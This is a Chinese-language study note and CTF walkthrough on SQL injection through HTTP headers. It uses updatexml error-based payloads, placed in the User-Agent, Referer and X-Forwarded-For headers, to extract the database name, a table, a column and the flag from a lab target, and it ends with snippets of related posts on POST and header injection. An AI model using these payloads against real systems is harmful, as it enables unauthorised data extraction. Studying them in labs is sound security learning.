SQL注入 head注入

2021-10-24 18:56:50 字數 1541 閱讀 7881

條件:

解釋:由於updatexml的第二個引數需要xpath格式的字串,以~開頭的內容不是xml格式的語法,

concat()函式為字串連線函式顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。

updatexml(123,concat('~',(select database()),'~'),123)

'~' 十六進製制 0x7e       #防止'被過濾.

1' and updatexml(1,concat(0x7e ,(select database()),0x7e),1),'2')

題目:

原始碼分析:

insert into uagent (`uagent`,`username`) values ('$uagent','$uname')

insert into uagent (`uagent`,`username`) values ('1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

構建**:1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

通過外掛程式,burp抓包,將**插入user-agent 或 refere 或 x-forwarded-for

1.user-agent:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

2.refere:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

3.x-forwarded-for:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'2') -- qwe
#'flag_head'表名

2' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head' and table_schema=database() limit 0,1)),1),'2') -- qwe
#'flag_h1' 欄位名

3' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') -- qwe
#得到'flag_h1'中的資料

head請求 SQL注入 HEAD注入(學習筆記)

就是在傳參的時候,將我們的資料構建在http頭部。php 中的許多預定義變數都是 超全域性的 這意味著它們在乙個指令碼的全部作用域中都可用。request 獲取get post cookie cookie在新版本已經無法獲取了 post 獲取post傳參 get 獲取get的傳參 cookie 獲取...

POST注入與Head注入

post注入 post注入與get注入的區別在於表單的傳遞方式,無本質差別 get傳參通過url編碼,使用?來標識,資料量有限 post注入一般對輸入框進行傳參,資料量比較大 查詢是否有注入點 對輸入框填入一些閉合的符號,看頁面是否異常 例如 嘗試使用萬能密碼 admin或123465或 or 1 ...

封神台SQL注入 基礎靶場1 Head注入

有沒有,用hackbar試一下即可 注入過程 更改user agent 爆庫 or updatexml 1 concat 0x7e select database 1 1 爆表 or updatexml 1 concat 0x7e select group concat table name fro...